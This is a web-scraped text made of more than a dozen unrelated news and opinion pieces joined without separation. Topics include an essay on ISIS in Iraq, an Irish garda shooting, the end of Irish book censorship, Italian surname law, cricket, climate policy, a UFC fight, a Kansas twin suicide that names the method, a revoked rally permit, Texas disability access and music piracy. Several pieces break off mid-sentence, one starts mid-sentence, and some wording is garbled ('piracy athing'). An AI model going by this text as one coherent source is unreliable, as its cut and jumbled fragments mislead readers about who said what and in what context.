The rise of ISIS in Iraq: terrorist invasion, Sunni rebellion - or both?
As we move to Iraq, a little historical, demographic and natural resources information might come in handy. Sunnis constitute roughly 17% of Iraq and live in the west of the country, adjoining the Sunni population in eastern Syria. The Kurds in the north make up a similar percentage, with the Shiites in the east and south-east constituting 63% of the population. Saddam Hussein, the dictator who ruled the country from 1979 to 2003, was a Sunni who brutally suppressed the Shiite and Kurd populations. Apart from preventing sectarian tensions and challenging his rule, Hussein had good reason to keep the Kurds and Shiites of Iraq under his thumb: literally all of Iraq's oil fields can be found in the eastern half of the country, from the Shiite south (Basra) and center (East-Baghdad) to the Kurdish north (Kirkuk). Ironically, over the border in Sunni Syria, also quite a few oil fields can be found. But in Sunni Iraq? Hardly anything.
Now that we have these basics established, let's look at ISIS in Iraq. The first ISIS myth, especially with regard to Iraq, is that there ever existed an organized, standing, terrorist monster army of 100,000 soldiers or more that invaded from Syria in late December 2013 and overran all of western Iraq in a matter of months. Yes, compared to the situation in the late 1990s with Osama and his 300 terrorists, a group of several thousand ISIS militants can definitely be labeled a "monster army". However, the fact is that under ordinary circumstances this terrorist army would not have stood the slightest chance against Iraq's military, which at the time consisted of 250,000 foot soldiers, thousands of America-made hummers, dozens of M1A1 Abrams tanks, a number of Cessna planes with Hellfire missiles and also some recently-acquired Hind and Havoc attack helicopters. ISIS consisted of little more than several thousand militants armed with AK-47s who moved around in columns of unarmored Toyota, Nissan and Ford trucks. Easy pickings one would say. So, how did ISIS take over Iraq's western Anbar province so rapidly?
If we break it down to the core issue, the reason that it was so easy for ISIS and Al Qaeda, two Sunni terrorist groups, to spill over the border into Iraq is because the Sunni population in Iraq's western province of Anbar was relentlessly suppressed by succeeding Shia governments. For years the Bush and Obama governments maintained fantasies of an "inclusive" Iraqi government in which Shia and Sunni representatives would govern together in peace. As anyone could have predicted beforehand, this didn't exactly work out. Hussein, a Sunni, fell, the majority Shia started to take revenge on the minority Sunni population, and subsequently the Sunni population either allied with ISIS or Al Qaeda, or at the very least came to see these groups as the lesser evil to the "Maliki militia".
The "Maliki militia" is a reference to army and police forces of Nouri al-Maliki, Iraq's prime minister from May 2006 to September 2014. The initially very obscure Maliki was brought to power with help from the United States in order to get rid of Ibrahim al-Jaafari, Iraq's first truly independent prime minister in 2005 and 2006. The second al-Jaafari came to power, sectarian violence in the form of Shia death |
a Somali community soccer coach asking for advice on how to lose weight; the coach later said that he believed Adan was not suffering from any mental illness at the time.[14] According to a Somali-American community leader, Adan had saved up money to purchase the newly released iPhone 7 and was going to Crossroads Center to make the purchase. He was described as "joyful" and "happy" before leaving for the mall.[25] An autopsy performed on Adan following his death found that he died of exsanguination (blood loss) as a result of the six gunshot wounds he had sustained. He had been shot in the head, chest, side, back, and left leg.[3]
Aftermath Edit
Reactions Edit
Leaders of Minnesota's Somali-American community held a joint news conference in St. Cloud the day after the stabbings. They expressed concern at the rise of anti-immigrant and anti-Muslim sentiment in response to the attack, calling for unity among the general community.[33][34]
See also EditA male garda and a second man were shot dead this evening after gardaí responded to what is thought to have been a domestic dispute in Co Louth.
Gardaí are treating the incident as murder suicide.
The shootings took place shortly after 6pm at a house on the Cooley Peninsula near Carlingford.
Members from Omeath Garda Station responded to a call from a woman and arrived at the scene, shots were fired and a garda was fatally injured.
A second man in his 20s, known to gardaí, was also shot dead during the incident. A woman in the house at the time was shot and taken to hospital where her condition is described as serious.
The scene of tonight's shooting in Omeath, Co Louth pic.twitter.com/eC3M87QeQm — Sinéad Hussey (@SineadHus) October 11, 2015
The scene is to be preserved overnight for forensic examination and the arrival of a state pathologist.
The garda shot dead was a man in his 30s, father to three children, all under the age of eight.
Thoughts are with our Garda colleagues following the tragic events in Omeath this evening. PSNI will lend any assistance or support required — PSNI (@PoliceServiceNI) October 11, 2015
Thoughts are with our Garda colleagues tonight. An Officer paying the ultimate sacrifice in the line of duty. — George Hamilton (@ChiefConPSNI) October 11, 2015
In a statement this evening Garda Commissioner Noirín O'Sullivan described the incident as a "terrible tragedy".
She also said the fatal shooting highlights the dangers the gardaí face during the course of their duty and that they put themselves in harm's way every day in the interest of serving the community.
The shooting happened only a few miles from the scene in which Detective Garda Adrian Donohoe was fatally shot on 25 January 2013.
In a statement President of the Garda Representative Association, Dermot O'Brien, said the organisation is shocked and saddened by the fatal shooting of a colleague.
"At this time of distress, the garda family will be doing everything possible to support the late garda's relatives and loved ones, friends and colleagues" he said.
The Association of Garda Sergeants and Inspectors also offered condolences to the family of the deceased garda.
Deputy General Secretary of the AGSI, John Jacob, described this evening's events as "the ultimate sacrifice in the line of duty."
"We are reminded that our colleague left his home today to do his job. There are no words tonight to describe the loss felt among the Garda family" he said.
President Michael D Higgins this evening contacted the Garda Commissioner to offer his condolences "on the terrible loss."
He described the incident as "most serious and tragic" and expressed his deepest sympathy to the relatives and friends of the deceased garda. He said his thoughts are also with all others affected by tonight's event.
In a statement Minister for Justice and Equality, Frances Fitzgerald, said she is appalled by the loss of life in Omeath this evening.
"The fact that a Garda has laid down his life while protecting the community is a cause of great sadness. His death will be mourned by the entire nation, grateful for the service which he gave to it" she said.
Archbishop Eamon Martin released a statement this evening saying "I ask for prayers for the recovery of the injured woman and for the families, friends and neighbours of those who have lost their lives. I encourage anyone who has information that can help the Gardaí with their investigation to come forward."
Fine Gael TD for Louth, Fergus O'Dowd, described news of the shooting as devastating and said his heart and prayers go out to the family and friends concerned.
Fianna Fáil Spokesperson on Justice Niall Collins said in a statement "Our thoughts are with all members of An Garda Siochána, our Fire and Ambulance personnel and the families of all those affected at this time."
Sinn Féin Leader and Louth TD Gerry Adams also extended his sympathies to the families of those who have died.It’s the end of the world as we know it! Or at least, the end of book-banning craic in Ireland, which for some of the god-fearing citizens of that country possibly amounts to much the same thing.
Our story, reported in full in the Saturday’s Irish Times, begins back in 1930 when the newly-formed Irish State, reeling in shock at Point Counter Point, Aldous Huxley’s satirical tilt at the foibles of the English upper classes, passed the Censorship of Publications Act.
This legislation set up both the Register of Prohibited Publications and the Censorship of Publications Board to determine what went on to the register of banned books. The board took one look at Huxley’s novel and promptly banned it.
Point Counter Point was thus the first of what would eventually amount to some 12,491 publications on the Irish register. These ranged from obviously difficult works, such as the Marquis de Sade’s 120 Days of Sodom or Alfred Jarry’s The Garden of Priapus, to rather more mainstream, even literary works, such as Thomas Wolfe’s Look Homeward Angel or Faulkner’s Light in August.
In one case – that of Kate O’Brien’s Land of Spices (1941) – a single line of text appears to have sufficed for the work to receive a ban.
The first signs of a thaw set in with the 1967 Censorship of Publications Act, which meant that books deemed "indecent or obscene" would automatically have their prohibitions revoked after 12 years.
The last serious spate of book-banning in Ireland took place in 1998, when The Base Guide to London, along with a further 14 titles, received a ban. Published by a shoe company – Base shoes – in 1998, The Base Guide to London launched the company’s autumn/winter collection with a "no-bullshit, streetwise guidebook for urban youth", broken out into subheadings that included "drugs, sex, fetishism, trannies and counterfeit goods".
With no other books added to the ban list in the interim, once the Base Guide (and the other 1998 titles) fall off the list, the Irish war on obscenity will be virtually over, with, for the first time since its inception, not a single banned title remaining on the register.
So has the board become more broad-minded? Not according to Odran Flynn, a member of the five-person board since 2001. He suggests that the decline in banning owes rather more to a general falling off in the public’s appetite for complaining – at least as far as literature is concerned.
He told the Times: "In my time on the board, there has been only one book submitted [Guantanamo Jihad! by Niall de Souza], but it wasn’t banned. My own view is it reflects a change of society. The decline of the church’s influence over the last 20 years has had a major impact."
In other words, there is nothing to stop a return by the board to its glory days; in 1954, for instance, it issued some 1,034 prohibitions in just one year. But it is unlikely.
Nor is the board’s work completely at an end. The 12-year amnesty does not apply to periodicals, which must appeal a ban before it is lifted. There are still some 279 periodicals on the board's list, including some unlikely titles such as Startling Detective or True Detective Mysteries.
There are also some eight titles exempt from the 12-year amnesty, including publications by birth-control pioneer Dorothy Thurtle, which seem likely to remain prohibited under current legislation that prohibits publications deemed to "advocate or promote" the procurement of abortion. The Irish Times takes the view that such a change of heart may be a long time coming – but perhaps that is to reckon without the EU, which last week ruled that Irish abortion laws violated the rights of one of three women who sought terminations in Britain.
Clearly there is a long way to go before such a ruling brings significant change within the Republic itself – but it may represent a crack in long-cherished Irish presumptions, and that, together with the soon-to-be-empty banned book list may be a sign that change is coming. ®Image copyright PA Image caption Italian mothers have so far been prevented from giving their children their surnames
Italy's constitutional court has ruled against legislation that automatically gives children of married couples the father's surname.
Lawyers argued that preventing families from giving children their mother's surname discriminated against women.
The European Court of Human Rights (ECHR) had earlier condemned the legislation - which dates from Roman times - and ordered Italy to change it.
Campaigners hailed Tuesday's ruling and called for parliament to endorse it.
"The court has declared the unlawfulness of rules providing for the automatic attribution of the paternal surname to legitimate children, when the parents wish otherwise," the constitutional court said in a statement.
The case involved an Italian-Brazilian couple who wanted to give their son both their surnames, as is traditional in many Latin countries.
After their request was rejected by Italian authorities, they took the case to the ECHR, which ruled in their favour in 2014.
It said the law was incompatible with the principle of gender equality enshrined in Italy's modern constitution.
Italy's lower house has approved a bill aimed at changing the law, but it has been blocked in the Senate for years.
"The Constitutional Court has taken a decision of great importance for our society," campaigner and left-wing MP Fabrizia Giuliani is quoted as saying by AFP news agency.
"The senate no longer has any excuse for not abolishing this anachronism and giving women their right in this matter."Matt Machan will captain Scotland in their first two matches against New Zealand A © Getty Images
As Scotland prepare for their three-match series against New Zealand A, new coach Grant Bradburn was insistent that his side could overcome the tourists, despite their good form shown in winning the triangular series against Sri Lanka A and the England Lions.
"We absolutely can win," Bradburn said. "We're well aware they're a quality side and they're playing very well as a unit at the moment. We relish all playing experiences, in particular ones against full member sides like this, but for us it's a huge opportunity."
Scotland suffered a blow to their plans when vice-captain Preston Mommsen broke his finger playing for his club Carlton, weakening an already under-strength batting line-up after captain Kyle Coetzer was not released by his county, Northamptonshire. Sussex's Matt Machan will lead the side in the two games in Ayr, the first of which takes place on Friday.
Bradburn will also be without Ruaidhri Smith, Gavin Main and wicketkeeper Matthew Cross due to injuries, as well as only having Calum MacLeod available for the third of the games due to his commitments at Durham.
"While it is frustrating not to have our top team out the overriding concern has to be about looking at the big picture. However there are some players who have earned their right to play for Scotland through performances in trial games and in the Pro Series, as well as in club cricket who will get the opportunity to keep pushing their names forward. There's plenty of impressive youth in the set-up."
One of those young players is uncapped George Munsey of Mazar Grange, who is in line to make his debut at the age of 21.
Facing them will be a New Zealand A side featuring a number of players with Test caps, including Dean Brownlie, Tom Latham, BJ Watling and the explosive Hamish Rutherford, who will be returning to the ground where he spent the summer as an overseas amateur in 2007. However Bradburn, a former New Zealand A coach himself, is confident in taking on a group of familiar faces.
"The scouting I presented to the team certainly did take long to do and we've got a good handle on what we're up against, but it's as much about knowing what they're going to do as making sure that our players go out and perform properly. If we can create an environment where players can express their skills then I'm sure we'll see some good performances."
The first two meetings between the sides will take place at Cambusdoon in Ayr, with the final game being held at The Grange in Edinburgh.
Scotland squad: Matt Machan (capt, 1st and 2nd games), Hamish Gardiner, Craig Wallace, George Munsey, Richie Berrington, Josh Davey, Michael Leask, Majid Haq, David Murphy, Safyaan Sharif, Iain Wardlaw, Alasdair Evans, Freddie Coleman (2nd game), Calum MacLeod (3rd game), Rob Taylor (3rd game)
© ESPN Sports Media Ltd.“Even if emissions were to decrease again after eight years, it could take an additional 15-25 years for emission to get back on track” with “strong” mitigation efforts, they wrote in Nature Climate Change. An eight-year delay may seem like no big deal in the grand scheme of things, but net carbon dioxide emissions are cumulative, with temperatures rising proportionally with the amount of carbon in the atmosphere. Sanderson and Knutti concluded, “Only immediate, global concerted and effective action can achieve the temperature targets discussed in Paris,” a mainstream view among climatologists.
So—time to despair?
Here is the good news: Other countries, not led by climate deniers, are not poised to abandon their greenhouse gas–cutting commitments. Last November, participants from all signatory nations for Paris gathered in Marrakech, Morocco, to work on next steps. When the results from our 2016 presidential election rolled in, they kept working.
“There were thousands of people trying to solve problems,” said Christoph Gebald, founder of a Swiss carbon-capture start-up, reminding The New Republic that Trump is just one person. “The world keeps on turning.”
In the U.S., states like California, which is now passing bills to lock in Obama-era federal and state environmental regulations, and city mayors from both red and blue states affirmed their commitment to cut greenhouse gas emissions.
Business leaders were also on board. During the Marrakech convention, more than 360 companies and investors, including DuPont, eBay, Nike, Unilever, and Starbucks, wrote an open letter calling for the U.S. to remain in Paris (it now has almost 900 signatures). Why? Because investing in renewable energies is good economics, and not merely because rising sea levels are expected to literally swamp Wall Street.
The global economy is “set” toward de-carbonization with or without the Trump administration. That’s what Christiana Figueres, the Costa Rican diplomat who led the Paris Climate Agreement, told CNN’s Christiane Amanpour earlier this month. “It’s not set by ideology. It is set by economics, and it is set by the advance of technology,” Figueres said. She pointed out that, in the U.S., one out of every 50 jobs is in solar energy, and argued that if the United States doesn’t meet demands for cheap renewable energy, China and India will.
The data bears her out. In April, Bloomberg reported that investments in wind and solar were beating fossil fuels two to one and that solar power in December was for the first time the cheapest source of electricity on the market, selling for half the price of coal in energy auctions in India and Chile. Reassuringly, the U.S. Congress recently extended the federal tax credits that incentivize wind and solar to 2019 and 2021, respectively. As these credits are popular in red states in the Great Plains, Congress may be loath to repeal them.
It’s as if Teddy Roosevelt had undercut Henry Ford’s automobiles to mollify aggrieved blacksmiths.
China will likely take the United States’s place as global climate leader. At the World Economic Forum in Davos, Switzerland, in February, Chinese President Xi Jinping stood up for the Paris Climate Agreement, urging all signees to uphold it. Also in January, the Chinese government’s energy industry announced it will devote $361 billion to renewable fuel by 2020, creating 1,000 major solar plants and 13 million jobs in the sector.
China isn’t investing in green energy out of sheer altruism. It is heavily dependent on foreign oil for energy, making it a national security issue. There is also serious money to be made in a low-carbon economy. “Those who fail to get on board now risk losing out on what I believe will be the greatest growth opportunity the world has ever known,” wrote Unilever CEO Paul Polman in response to the Paris agreement. He pointed to estimates that put the low-carbon market at more than $5.5 trillion, with 3 percent annual growth, and investment opportunities in emerging markets at a staggering $23 trillion. For these reasons, many business leaders recently told the Los Angeles Times they were skeptical that the Trump administration will really leave Paris.
Perhaps the more useful question to ask is not whether other countries will cut greenhouse gas emissions without the United States, but how far they will leave us behind when they do so.
Despite free-market rhetoric to the contrary, the Trump administration is propping up a faltering fossil fuels industry—a handful of billionaire-owned oil companies in debt and coal mines sunk by cheap natural gas—at the cost of future American prosperity. It’s as if Teddy Roosevelt had undercut Henry Ford’s automobiles to mollify aggrieved blacksmiths. In economic terms, this behavior is not rational and therefore, one hopes, not long for this world.
Still, market forces cannot solve climate change alone. The global transition to clean energy will not happen fast enough without government regulation, along with research investment and incentives to develop low-carbon and renewable fuels. Even regulations will not be enough curb emissions, evident in the now-shelved U.S. decarbonization strategy, which rested heavily on Obama’s Clean Power Plan. The plan, which required states to limit power plants’ carbon pollution, is stuck in court, and is deeply loathed by Republicans. It will surely be canceled.
And no matter his faults, Trump did not cause climate change. The prospect for staying beneath the 2 degree threshold was always uncertain, and climatologists, for their part, always framed the Paris Climate Agreement as a late start to tackling the problem. Jim Hansen, a leading climatologist who testified about climate change before Congress back in 1988, has called the non-binding agreement “worthless words,” a balm to Obama’s conscience, and a poor substitute for a direct fee on fossil fuels at mine or port of entry—which is, in his view, the only way to wean people from cheap fossil fuels quickly enough.
Direct carbon capture is an exciting premise, but one that Lackner says is not scalable without the government’s help.
Both Hansen and Mann argue that we have already warmed the planet by 1.3 degrees Celsius, and so our “carbon budget,” or the amount of carbon we can safely burn, is even more limited than imagined. To even limit temperature rise to 2 degrees, we will need to remove carbon dioxide from the atmosphere via massive reforesting schemes to serve as carbon sinks, and even that won’t be enough. According to modeling collected by the U.N. Intergovernmental Panel on Climate Change (IPCC), we will almost certainly need to start sucking billions of tons of carbon out of the atmosphere by 2050, using “negative carbon emissions” technologies that will cost hundreds of trillions of dollars and, more dauntingly still, do not exist yet.
Currently, just a handful of small start-ups around the world are experimenting with “direct carbon capture,” including Dr. Klaus Lackner, who invented the concept and directs a research program at Arizona State University. Lackner has invented free-standing synthetic “trees” (they look like tiny boxes) that can pull carbon from the air. It’s an exciting premise, but one that Lackner says is not scalable without the government’s help.
“The problem with private funding is that this is a problem with no immediate solution,” Lackner said. “There is no economic incentive unless there is some regulatory framework.” Namely, a price on carbon, which is what a fee or tax would accomplish.
All hope is not lost, but it does lie in acting swiftly, funding inspired technological leaps, and legislating for a lower carbon lifestyle (Americans are among the highest per capita greenhouse gas-emitters in the world). Of course, we are unlikely to get any of that from Trump and a Republican Congress. So what can we do?
Jennifer Morgan, executive director of Greenpeace, suggests that citizens march to build power, advocate with their public officials, choose clean energy plans, support sustainable companies, and use public transportation. She said, “Individual actions definitely matter.”
But individuals can only do so much on their own. That is why our first, most pressing task in the United States is impeding the Trump administration where we can and preventing four more wasted years—for ourselves, our children, and future generations.Amanda Nunes had a little something to say to Ronda Rousey's corner after her emphatic 48-second victory in Friday night's UFC 207 main event. The defending bantamweight champion signaled for Rousey's faction to be quiet.
Namely, Rousey's coach Edmond Tarverdyan.
And after displaying her striking superiority over Rousey — whom she picked apart with punches, rendering one of the UFC's most significant stars powerless to defend herself — Nunes explained her actions in the aftermath at the post-fight press conference in Las Vegas.
"I knew [Rousey] was going to to strike with me, because she thinks it because her boxing coach told her she has good striking," Nunes said. "I knew she was going to strike a little bit with me, but when I started to connect with some punches I knew she would want to start to clinch with me."
Rousey was making her much-awaited return after 13 months away from competition. Because she lost to Holly Holm in dramatic fashion at UFC 193 — in part for being overly aggressive offensively — some thought she would return to her judo roots, and try to win the battle in the clinch.
Yet Rousey only once went for a clinch, and was easily shut down. By that point she was being pieced up by Nunes on the feet, and moments later referee Herb Dean was calling a halt to the onslaught.
Nunes said that Rousey's coaching staff had essentially deluded her into thinking she was something she was not.
"Yeah, because she thinks that she's a boxer, you know?" she said. "He like put this thing in her head and make the girl believe in that. I don't know why he did that. She have great judo, and she can go far in this division, but he put some crazy thing about boxing, and her career started to go down. And if I win that, I am the real striker. This is the only thing I wanted to look at him, to say it."There was just no way I could fathom the amount of pain, the amount of missing, the amount of grief that flooded our world (and continues to) since Ana’s loss. As the five-year mark of the tragedy approaches, we still struggle. We have done amazing things. We have started a foundation. We have made the world more beautiful and more safe. We have raised tens of thousands of dollars for charity. We have raised awareness and provide funding for programs that reduce social isolation and promote community and connection to reduce violence. Our focus is schools. Our focus is raising our surviving son. Our focus is staying married and healthy and beating dismal odds. And yet for our family, the shock that this is your life for the rest of your life? It never fully goes away.
This level of shock/denial isn't uncommon or even remotely something we should pathologize. In the familiar Kübler-Ross “grief stages,” denial is the beginning of the journey and acceptance is the final destination. But grief is not linear, nor can it be neatly packaged or compartmentalized into logical phases. Grief is a loopy road full of U-turns and nosedives. Grief is messy and unpredictable. I have often said, “Somewhere on the continuum between overwhelmed and overcoming—that is where a griever lives at all times.”
I am finally willing to accept that Ana was brutally taken from us. I am willing to accept that my husband and I have joined a large but mostly marginalized tribe called “bereaved parents.” But I am not willing to accept that we live in an America that normalizes the abuse of bereaved parents who lose their loved ones to tragedy.
Culturally, we have much to understand about grief and providing support to victims. But we are now asking survivors of high-profile tragedy to withstand not only their loss, but flagrant and intentional harm after it.
This harm comes in the form of attacks on parents by conspiracy theorists. My own experience with them has taught me that they come in a few varieties:
People who truly are trying to question events they don't understand People who don't necessarily question the event, but seek to elevate themselves by espousing conspiracy theories and mercilessly attacking families People of influence who use conspiracy theories to further a political agenda
Conspiracy theorists have been around for a long time. They shouldn't be confused with those who simply engage in healthy questioning of government, of people, or of ideas. Questioning is necessary and good. The sting of cruelty of those in the second category fades over time. You learn to pick them out and perhaps even feel sorry for them. It is wrong and awful but you come to realize that they are even more miserable than you are. And our local police have been amazing in their response to all of this.Pictured: The middle-aged twin sisters who killed themselves in suicide plot after they lost their home in'money problems'
A large Kansas family has been left devastated after a pair of twin sisters killed themselves in a double suicide pact on Wednesday.
Police today named the sisters as Sharon Bartley and Susan Howard of Shawnee, Johnson County.
They were said to be in their 50s and neighbors said they had recently had money issues and were forced out of their home.
The women were two of nine children - six daughters and three sons.
Family tragedy: Susan Howard, far right, and Sharon Bartley second left, were named as the twin sisters who killed themselves in Shawnee, Kansas. They are pictured with two of their sisters Dorothy Beattie, far left, and Mary Wilson
Double suicide: Kansas police today confirmed two twin sisters had shot themselves dead in a suicide pact. The woman were named as Sharon Bartley and Susan Howard
One of their sisters, Dorothy Beattie, still lives nearby and in 2010 posted pictures of the three of them happily celebrating her daughter's bachelorette party
The twins were found shot dead on a trail at Mill Creek Streamway Park, western Shawnee, on Wednesday.
Their mother Catherine West died in Shawnee in 2004. At that time Susan Howard was listed as living in Sacramento, California, and Susan Bartley was living in the Mission neighborhood of the city.
According to the Kansas City Star the sisters recently shared a home in the city which was where officers later found a suicide note.
Investigators say the sisters drove to the spot where they took their own lives in a white PT Cruiser.
A passerby discovered the bodies at 3pm - 150 yards into the wooded park which is a popular jogging spot.
A gun was found next to one of the bodies.
KMBC-9 reported the twins had recently been forced to move from another property because of money troubles.
'One day she just said, 'I'm moving. We're going to move two blocks over to Roeland Park,'" said another neighbor, Stuart West. 'She said, 'We'll be around.'''
Tragedy: The two women were found dead in this park with a gun nearby
Isolated spot: The sisters drove this car to a park in western Shawnee before killing themselves
Residents near the park reported hearing gunshots before the bodies were found.ARCADIA >> Tears streaming down his cheeks, an Arcadia businessman Thursday called on the Los Angeles Police Department to afford Chinese Americans the same First Amendment rights exercised by other citizens.
Kin Hui, CEO of Singpoli Group, LLC and Singpoli Capital Corporation, said LAPD’s decision to revoke a permit that would have allowed about 1,000 people to march Sunday on City Hall in Los Angeles sends the message that Asian voices and Asian rights are less valuable than others in the community.
“All we want is to be treated equally,” Hui said. “We just want to be able to exercise our equal rights.”
• PHOTOS: Outrage over cancelled rally
The press conference in support of an organization known as the Chinese American Equalization Association, HQH, took place in a conference room in Hui’s Arcadia office building. Others who spoke explained the rally was one of several planned across the country to support New York City police Officer Peter Liang, and “local law enforcement.”
Members of the group hung a banner proclaiming their intentions, and came dressed in white T-shirts they planned to pass out to participants Sunday.
LAPD Officer Sam Park, who issued the permit, declined to comment Thursday. A co-worker deferred questions to the LAPD’s Media Relations section, a detective there referred questions back to Park, who was then unavailable.
A grand jury indicted Liang, a rookie police officer, for the fatal November shooting of 28-year-old Akai Gurleyan, an unarmed Brooklyn man who was shot to death in a darkened public housing building’s stairwell. Police officials said the shooting was an accident. Asian American activists say Liang has been made a scapegoat for the non-prosecutions of officers involved in similar fatal shootings, including the killing of Pasadena resident Kendrec McDade.
“What really counts for us is to be a part of the system,” said Mei Mei Ho Huff, wife of State Sen. Bob Huff, R-Diamond Bar. “We don’t know if Liang’s innocent or guilty, we only ask for him to be treated equally.”
• VIDEO: Anger over revoked rally permit
Zhi Gao Jiang, who pulled the original rally permit, said he planned to have speeches on the steps of L.A. City Hall and then organize a march in the downtown area. He said the permit was granted on Monday and withdrawn on Tuesday.
Police officials said the event would conflict with the planned Fiesta Broadway, which is expected to draw 30,000 to downtown Los Angeles over the weekend.
Jiang said that after he was given permission to hold the rally he spent money organizing the event and planning logistics, which included renting buses to provide transportation to City Hall.
‘I was shocked and surprised,” Jiang said. “There was only a couple of days left. Everyone in this situation would be surprised. Everyone in this situation would be angry.”
Other money was spent for advertising online and in Chinese language newspapers throughout the region, said Ray Chen, who is on HQH’s board of directors.
“What the LAPD did is a direct violation of the Constitution,” Chen said. “They’ve violated our rights, more specifically they’ve violated our rights to free speech and peacefully assemble.”
Chen and Hui called on Asian Americans to stand up for their rights.
“An Asian-American organization has been bullied,” Chen added. “What do we need to do to be taken seriously? We are not second-class citizens.”Kenneth Semien Sr. stands on the Texas Capitol steps in early April. This is not the government building in which he was advised to spend his time. In these hallowed halls, legislators decide public policy. Semien's doctors recommended a different facility – a state supported living center – where staff would make decisions for him. But after losing his sight and the hearing in his right ear, Semien was not willing to forfeit his independence as well. Instead, he stands for himself and thousands of Texans living in such centers, wearing a black suit and a pressed white shirt.
Gathered around and behind Semien on a sweltering afternoon are more than 300 people. Some sit in wheelchairs, others stand with guide dogs. Different impairments, a common cause: They are participating together in the Don't Myth With Texas rally to raise awareness about the individuals with disabilities' struggle to be involved in daily life.
"People with disabilities can't live in the community," an activist quips into the microphone. "Myth!" Semien shouts in chorus with the crowd.
"That's right! We're here today to remind our legislators – don't myth with Texas!"
People cheer as the rally concludes. Semien, wearing dark sunglasses, slides his white-tipped cane over the granite landing. "We came to the Capitol to educate," he says. "It's not that lawmakers don't want to do good. It's that they don't know our needs."
But there's a problem: Physical barriers throughout the Capitol grounds prohibit Semien and others with disabilities from fully participating in the political discourse that takes place within the building. The cause they came to champion – greater inclusion in public places – is underscored by these accessibility challenges. As the sun set on the 85th regular session in May, legislation that was either passed or rejected outright signaled a clear pattern: Issues pertinent to the disability community were routinely decided without much input from those directly affected. A bill to review the effectiveness of state supported living centers did not pass. A proposal to increase the base wage of community attendants gained no traction. Only a fraction of the proposed special education bills were approved. In many cases, individuals who wanted to testify were late or lost – waiting for an overcrowded elevator or searching for an accessible entrance to the Capitol building.
“It’s very, very, very expensive to make our city universally accessible.” – David Ondich, ADA coordinator for the City of Austin
The lack of access at "the people's house" is mirrored throughout the capital city. Austin, founded in 1839, is home to 180 nationally registered historic landmarks and sites. Its identity is in many ways tied to these historic features. But history has not favored inclusion in those spaces for people with disabilities. In fact, they have been routinely excluded from public places (for instance, students with physical and mental disabilities attending institutions instead of public schools), and many of the places that typify the city also raise a relevant question: How can Austin preserve historic features while also embracing a modern approach to accessibility? City officials and disability advocates alike acknowledge this endeavor is possible, albeit quite expensive.
The question is not whether or not to spend money on "disability issues," but to what end. Factors include renovating buildings (the state invested $200 million in improvements to the Capitol in the early Nineties); investing in care – whether in state-run facilities (at around $26,000 per person every month) or home-based settings (at about $4,000 per person each month); and empowering individuals to contribute to a robust economy.
A critical and currently lacking component to ensuring inclusion for all is a buy-in from the wealthy and powerful. "Disability issues" are continually swept under the rug and cut out of the budget – in the last session, legislators opted against reducing the waiting list for community-based services and failed to pass school finance reform, which would have positively impacted students with disabilities. Some saw Gov. Greg Abbott's rise to political power as a beacon of hope for the disability community. But in reality, Abbott – the first Texas governor to use a wheelchair – offers a prism into lawmakers' hesitation to advocate for universal access and community-based support.
Your Basic Human Rights
Fifteen years ago, Semien lay in a Houston hospital bed listening to doctors advise a lifetime of naps on a twin bed and meals in a cafeteria. He was recovering from an 89-day bout with meningitis. "It came upon me suddenly," he said. "In the morning, I was seeing. By the afternoon, I was blind." Doctors said he would never be able to live on his own. Against their advice, Semien refused to be institutionalized and instead entered rehabilitation. He is now the president of the Texas chapter of the American Council of the Blind.
"I don't think I would have survived if I went to an institution," he said. "Now, I've learned so much about the possibilities of how to succeed and live on my own."
Historically, to be disabled is to be excluded. However, when possible, people with disabilities seek to live in the community with full access to public places. The demand for a path toward inclusion is now at an all-time high. Across the state, more than 113,000 individuals are on a 14-year waiting list for community-based services, according to the Arc of Texas, a disability rights group. There is no waiting list for state supported living centers; the 13 facilities currently serve just over 3,000 people total. In Austin, more than 180 individuals with disabilities or complex health needs live in the 100-year-old center, many of whom have been in residence for 15 or more years.
For some, a state supported living center or nursing home is the best choice for their care. But the vast majority seek to live in the community with minor to moderate home-based support. This type of care empowers many to work, contribute to a robust local economy, and pay taxes. Even within the disability community, the debate about institutions is contentious and far from settled.
In 1990, President George H.W. Bush signed the Americans With Disabilities Act (ADA), a broad civil rights law that prohibits discrimination against people with disabilities. The crowd that gathered for the signing was one of the largest in White House history. Many in the disability community believed that their physical segregation – in schools, institutions, and public places – was coming to an end. But 27 years later, barriers remain in place that reinforce subtle but significant discrimination. These barriers include a lack of accessible entrances and exits to buildings, elevators that do not audibly announce floor numbers, city sidewalks that are cracked or that simply end in impassible grass, and town hall meetings that do not offer closed captioning |
who have taken a pragmatic or even receptive approach to file sharing (and seen a bunch of "freeloaders" cough up a whole lot of cash), there are many more who only see the downside of copyright infringement.What you rarely, if ever, see is a top level executive of a major player in the content industry state, on the record, that not only is piracy athing, but it may also be athing. Here's Mandar Thakur, COO of Times Music, India, commenting on the internet's upheaval of the recording industry Now, before someone writes off Time Music as the equivalent of a boutique label run by three guys out of their stepdad's garage, let's take a look at the facts. Time Music, India is a division of the Times Group, the "largest mass media company in India," with annual revenue exceeding $1.5 billion and the employer of 11,000 Indians.Much of what Thakur stated has been documented here over the years. Piracy may be a problem, but it's also a sign of disruption and an indicator of underserved markets. The problem with the American recording industry is that it spent much more time worrying (and attacking) the first item on the list while ignoring the other two. From what he's stated, Thakur is apparently uninterested in wasting much more time and money trying to eliminate file sharing. This should allow Time Music Inc. to devote those resources towards making money, rather than plugging leaks.That he would come out and state this plainly probably won't win him any friends in the IMI (Indian Music Industry), the Indian version of the RIAA. Late last year, IMI filed a petition in support of India's IT Rules, pushing to be granted the right to take down content within 36 hours,Thakur may also begin irritating those even higher up on the food chain. IMI is part of International Federation of the Phonographic Industry (IFPI), best known around these parts for serving up an annual report on piracy that's riddled with factual errors and filled to the brim with pleas for various governments to save it from having to make forward progress.Not only does Thakur view file sharing as a side effect of industry stasis, he also seems to have a good grip on what consumers actually want -- and how the rollout of better and speedier connections will continue this disruption (and its attendant opportunities).This is also refreshing. Rather than viewing across-the-board increases in bandwidth as nothing but a more efficient conduit for infringement (see also: the MPAA's comments on Google's fiber rollout ), he sees it for what it is: an new, rapidly expanding market.It's great to see such clear thinking from someone inside the industry. IMI and IFPI may not be happy with a pirate-loving COO heading a major music outlet, but it appears he's in place to catch a new market on the upswing, an uncommon experience for those in his position.
Filed Under: consumer behavior, digital distribution, india, innovation, mandar thakur, music, piracy
Companies: time musicThe Dutch woke up Thursday morning to a striking new right-leaning political reality after Wednesday’s national elections ratified both a conservative emphasis on austerity and a populist push against immigration and Islam.
It was the first European elections since the Greek debt crisis put the euro in a funk – and results proved so fragmented that forming a ruling Dutch coalition will be difficult and may take months.
